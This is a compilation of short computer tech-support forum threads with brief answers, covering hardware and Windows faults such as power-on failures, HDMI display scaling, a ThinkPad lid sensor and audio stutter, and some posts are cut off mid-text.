More recently I am getting the same problem but now shorting out the switch doesn't work. This morning she refused to power up so I laid it on its side, opened it up, pressed the switch a few times and swore at it. Nothing happened. SO I am just sitting there conjuring up new swear words when it just starts up, fans spinning and away we go - I never even touched it. I have restarted a number of times today and no problem. I'm afraid to power off for an extended time, but I live in Houston and this puppy puts out a fair amount of heat and we don't need any more heat in the house!

So it doesnt seem to me that it could be a PSU problem? While running, voltages are stable etc. So is it a mobo problem? It seems after an extended shutdown (i.e. overnight) it cools down and then won't start. Is that a symptom of something cracked?

I don't mind replacing parts - I just don't know which parts or how to troubleshoot this problem.

Any suggestions?

A:Bizarre Power on issue - ideas?

Get a PSU tester for about $12. It's worth the money.

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Nice one for the pure genius.......

Just changed from using a VGA cable to my monitor to HDMI. Nothing else is different. I am using an ASUS graphics card and all was well before. The only reason to changing to HDMI was length of cable.

Despite setting screen resolution to max, 1920 X 1080, as it was before, Windows displays on the screen with a black border round the outside, that is, not full screen.

At boot up the motherboard screen displays full screen, as does the 'starting Windows' page, but when it come to displaying anything thereafter it shows it smaller. Any ideas, guys?


A:[SOLVED] Bizarre display issue

What is the make of the Graphics Card, and does the card have a control center for adjusting graphics settings, like nVidia, and ATI?

If there is, open the graphics control program, and look for "Scaling Options" then adjust your display.

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Originally, my problem was the same as the user in this post:
Desktop shortcuts to websites are broken.
I believe the issue arose when windows update tried to upgrade my IE from 7 to 8.

I re-associated my URL filetype with firefox, and I also ran the attached registry file in post #6, and everything seemed hunky dory, until I tried to open one of my desktop links. They were able to be opened by firefox, but instead of opening to a normal page, the browser searches for individual pages in individual tabs based on each individual word in the title of the desktop shortcut!

This might sound kind of confusing so here is a picture of my issue: http://i.imgur.com/cwWcYvD.png

For reference, the title of the desktop shortcut was 'Logical Increments - PC Buying Guide' and it was supposed to link to Logical Increments - PC Buying Guide

I apologize if my explanation was a bit scattered, but I would love help on this issue! Thanks in advance!

A:Bizarre desktop link issue

unless you have several dozens, it would be easier to just recreate your shortcuts again.

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I have an extremely bizarre issue with my new ThinkPad T590 laptop and how the system is detecting a lid closure.  After getting my system it started going into a "sleep" loop whenever I was using it as a laptop (not docked).  When docked with external monitors, keyboard, and mouse and with the lid closed the system behaves great.  But if it is undocked and I'm using it like an actual laptop the system would start going to sleep right in the middle of me typing.  The batter was fine and the events would happen even when plugged in.  If left alone & only the mouse used the system worked just fine but then when typing it would go to sleep & need waking up. On a whim I tried changing the power management in Windows to disable sleep when the lid is closed.  After I did this I still would have my screen go black while I was typing, but now it would come back up instantly and I could continues from where I was typing.  So my working theory is that there is something odd with the lid closure detection. Up till now the issue appeared completely random & I could not predict when it would occure.  But today I finally found a way to induce the event reliably.  If I have my hands in proper home-row position over the "asdf-jkl;" keys and then reach for the "5" button on the number row the system will, I'm suspecting, detect a lid closure.  I don't even have to press the key, only reach for it.  The event doesn't ... Read more

A:Bizarre T590 lid closure issue

Do you have something magnetic on your hand?  Jewelry?

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Hello everyone at Bleepingcomputer. First post, didn't really want to seek out help as I am usually capable of handling most computer problems on my own, but this one just seems bizarre and frankly it's driving me round the bend.
Getting straight to the problem. Out of the blue I noticed while any sound/video is playing, loading or opening any new tabs at all in Firefox would cause a horrible grinding/glitching super stutter (think robots screaming) for 1-2 seconds. I thought that maybe my laptop was just under too heavy of a load at the moment and didn't worry about it, but after restarts it still persisted. What was more weird was while nothing else was open and I was watching video I would randomly get it too, never in the same scenes though (lots of processing on a grainy scene or something that might cause video/sound lag). That's when I noticed killing the internet connection completely cleared it up. I could put the computer under full load and not get the slightest sound skip. I've never encountered something like this. Basically any network traffic causes the CPU activity to spike to 90/100% usage for 1-2 seconds. As I said this is every time I load or open any tab in Firefox, whether its a bare bones text html or a massive image heavy page.
I have never encountered such a bizarre problem before. How is network traffic causing these massive spikes? I have not installed or changed my set up, it just seemed to appear out of nowhere.

A:Bizarre sound issue associated with network

I've had an Intel I219-V network card driver causing huge DPC latency spikes, and that caused audio to glitch. Guess you can use LatencyMon to investigate that. A possible solution is updating to a newer driver version or an older one.

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My PC's harddisk is a Samsung HD321KJ (32MB cache, 7200rpm, 320GB).

I was messing around with partitions today in a futile attempt to align my Windows system, and eventually just gave up and restored an image I had made just before.

In the process I noticed something totally weird...the drive itself suddenly reports a different CHS geometry. It used to be something like 38913, 255, 63 but now it reports 43009, 255, 57. Now all my partition software thinks track 0 is just 57 sectors long.

The total number of sectors on the HD remains the same, and there's no other ill effect so far. But...how the heck did this happen? Can I convince the drive to reset its reported CHS numbers? How?

A:Bizarre issue with harddrive's CHS geometry

I don't know the answer to your question, but I did have to go into the interwebs and expand my knowledge. Here are two interesting articles on the subject:
Cylinder-head-sector - Wikipedia, the free encyclopedia
Disk formatting - Wikipedia, the free encyclopedia

My take is that CHS geometry is a largely abandoned process that is ignored by most modern operating systems (pre-XP).

Are you running a dual boot with an old OS (DOS or similar) where this "low level format" is important? Is this condition causing an issue?

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Hello..I have a strangely puzzling issue with Vista Home Prem (32bit) running on a Toshiba Equim.

For some bizarre reason,when I am running it on its battery, when I shut it down, it doesnt seem to turn off, it goes into sleep mode.I cant get the thing to turn off.Its fine whilst on mains power..

This just means the battery drains everytime I use it on battery..

Why is this and wha can I do to fix it?Its puzzling and incredibly annoying..

Any help would be really really grateful



A:bizarre vista shutdown issue

Just wondering if you are using the hidden menu to shut down. (see attached) If you are, can you <ctrl> <alt> <del> to shut down?

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Hey guys i'll try to make this brief,

I would say my computer knowledge is fairly good but at the moment i am pretty stumped.

A friend the other day asked me if i could help him fix his computer, He was browsing the internet then the computer all of a sudden shut down. Harddrive then showed that it wasnt bootable and was making really strange noises. Maybe the harddrive can be repaired but that is irrelevant to the situation now.

He went and purchased a new sata harddrive for the laptop. Replaced it within the laptop, The bios shows everything as normal the RAM the DVD/Rom and the Harddrive Shows also. We place the Windows 7 DVD into the Laptop and press f12 choose boot from CD. After a very long time i'm talking 5 minutes it will finally show boot from cd press any key. Which we do then it will take another extremely long time round about 15 minutes at which point it will show loading windows files and eventually load the blue windows setup screen. Note no touchpad is present. So i can navigate through the menu's to install windows get to the Drive options advanced. I can see the Harddrive there, Formatted it and then choose it to install windows too. The file copying goes to 100%. I know thehe expanding files that takes a long time but At this point it sits on expanding files 0%..., for a very long time I've left it for over an hour with no movement the LED still flickers on the DVD Drive.

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A:Bizarre Issue trying to install Windows7 New Harddrive

Alright here are a few things to try Chrism:

Buy a can of compressed air and blow off any vent holes on the laptop.

If you have ever installed RAM in a laptop before and you feel comfortable opening that area on the underside of the laptop, you can re-seat the RAM. Im no expert myself but it sounds like something is buggy with the RAM. If you still think it is the DVD drive can you boot from a USB drive? If so you can use a program called "Windows 7 USB DVD Download Tool", its by microsoft and you can google it. See if you can install via USB and that would narrow it down to being a DVD drive problem.

Best of luck to you.

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Hello everyone,

I've encountered a serious issue with my Acer Swift 3 laptop and I'm really hoping someone can help. I believe it is software related but I can't yet rule out hardware either- I hope I'm posting in the right place.

The Problem:
Last night, in a tired state, I unplugged my Acer Swift 3 laptop during the shutdown sequence. I don't believe this should cause an issue but I usually don't do it as I prefer to wait until the machine is off. Anyway, the laptop was fully charged by this point. The moment I pulled the cable the system shut off (any difference from the normal completion of the shutdown sequence was almost imperceptible but nonetheless alarm bells rang).

I tried to turn my laptop back on but nothing happened. I followed up by plugging it back in and trying again. Whilst plugged in the laptop booted up fine but Windows presented a "Windows didn't shut down properly" alert and I instructed it to load into Windows proper. Once I reached Windows 10 the system behaved abnormally in two ways:

1. The battery icon in the task bar seemed...confused. It presented as empty for one moment, then full.

2. The system seemed to shut down after a few seconds (around a minute, roughly). I say "seemed" because it's plausible that it is going into some sort of low power mode- either way it goes through the normal booting process when I press the power button again (only to once again shut down a short time late... Read more

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